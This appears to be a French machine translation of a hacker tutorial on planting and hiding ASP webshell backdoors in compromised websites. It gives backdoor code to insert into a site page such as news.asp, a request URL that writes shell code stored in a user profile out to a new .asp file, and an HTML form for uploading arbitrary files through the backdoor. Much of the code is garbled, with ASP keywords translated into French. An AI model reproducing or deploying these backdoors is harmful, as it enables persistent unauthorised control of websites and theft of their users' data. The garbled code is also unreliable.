Préface : Cela fait longtemps, du gestionnaire de site initial aux nombreuses portes dérobées ASP populaires aujourd'hui. Je pense que la plupart des administrateurs réseau peuvent nommer ces webshells classiques, tels que Haiyang, Veteran, Blue Screen, etc. Je crois également que la plupart. Les administrateurs réseau peuvent les nommer. J'ai appris la méthode de recherche par mot clé pour rechercher ces chevaux de Troie. Bien sûr, si vous souhaitez masquer la porte dérobée à l'heure actuelle, vous devez utiliser certaines compétences. grand, et je mesure un pied. »
Je ne nie pas que l'écriture du cheval de Troie asp dans le fichier image, comme mentionné précédemment, est une bonne méthode. En fait, il peut être écrit non seulement dans des images, mais également dans des fichiers mp3 et des fichiers doc.
La méthode decopie du nom/paramètre du fichier + nom/paramètre du fichier pour générer le nom du fichier
peut être utilisée de manière flexible pour atteindre l'objectif de masquer les fichiers. Les paramètres spécifiques sont /a en mode code acsic, /b en mode binaire, donc je n'ai pas gagné. Je n'entrerai pas dans trop de détails. Quant à la façon de télécharger WebShell, ce qu'est WebShell n'entre pas dans le cadre de cet article. Ce dont nous allons parler aujourd'hui, c'est comment insérer la porte dérobée dans la base de données avec le suffixe .mdb. Le principe est qu'après avoir obtenu un webshell...
Comme nous le savons, de nombreux sites doivent remplir beaucoup de choses. les utilisateurs s'inscrivent, tels que : nom d'utilisateur, mot de passe, QQ, e-mail, profil personnel, numéro de téléphone, coordonnées, adresse, etc. Il y aura également des tables, des champs et des valeurs correspondant à la base de données. Ce que je veux faire aujourd'hui, c'est enregistrer un utilisateur et écrire du code shell dans mon profil personnel, puis modifier un fichier sur son site. Lorsque ce fichier sera déclenché lors de son utilisation, je mettrai le code shell dans mon CV personnel. jusqu'au répertoire courant.
Sans plus tarder, jetons un œil au code :
<%
si request("action")="firefox" alors
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
identifiant=request.querystring("id")
idvalue=request.querystring("idv")
set rs=server.createobject("ADODB.recordset")
sql="select "& bname & " from "&tname& " où "&id&"="&idvalue&""""
rs.open sql, conn, 1,3
sinon rs.eof alors
contenu=rs(nomb)
autre
réponse.écrire "Rien"
finir si
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(fname))
txtfile.writeline(contenu)
fichiertxt.close
finir si
%>
Ajoutez le code ci-dessus à un fichier sur le site, tel que news.asp. D'après les informations dont nous disposons, après vous être inscrit sur son site, téléchargez la base de données pour voir la structure. Le nom Firefox que j'ai enregistré se trouve dans la table utilisateur et sa valeur d'identification est 119. Le champ de table utilisé pour stocker mon CV enregistré est jl.
news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119
Ensuite, lors de son utilisation, nous pouvons écrire un webshell nommé firefox.asp dans le même répertoire que news.asp. Ce qui précède peut être considéré comme l'une des milliers de méthodes de masquage. Parlons ensuite d'une autre méthode de masquage plus pratique. Cette méthode n'a rien à voir avec le suffixe mdb.
De même, nous modifions toujours news.asp et insérons le code suivant dans le news.asp de l'autre partie :
<%
si request("action")="firefox" alors
n=requête.form("n")
c=request.form("c")
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(n))
fichiertxt.writeline(c)
fichiertxt.close
finir si
%>
Ce code est relativement simple, il peut être considéré comme le côté serveur d'un cheval de Troie. Utilisez ce code lorsque vous l'utilisez :
<HTML><TÊTE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>Alliance technologique Fst Firefox[www.wrsky.com]</title>
<FORM action=" http://localhost/config.asp?action ... method=post>
<META content="MSHTML 6.00.2900.2180" nom=GÉNÉRATEUR></HEAD>
<BODY>Nom :<INPUT size=50
name=n width="32"><BR><BR>Shell :<TEXTAREA name=c rows=10 cols=80
width="32"></TEXTAREA><INPUT type=submit value=Save></FORM></BODY></HTML>
Modifiez le code ci-dessus : "http://localhost/config.asp?action= Remplacer "firefox" avec l'adresse de votre serveur et enregistrez-le en tant que fichier .htm local. Après l'avoir ouvert localement, définissez le nom du fichier, le contenu du fichier et la soumission à distance à générer. OK, c'est une autre façon de quitter une porte dérobée.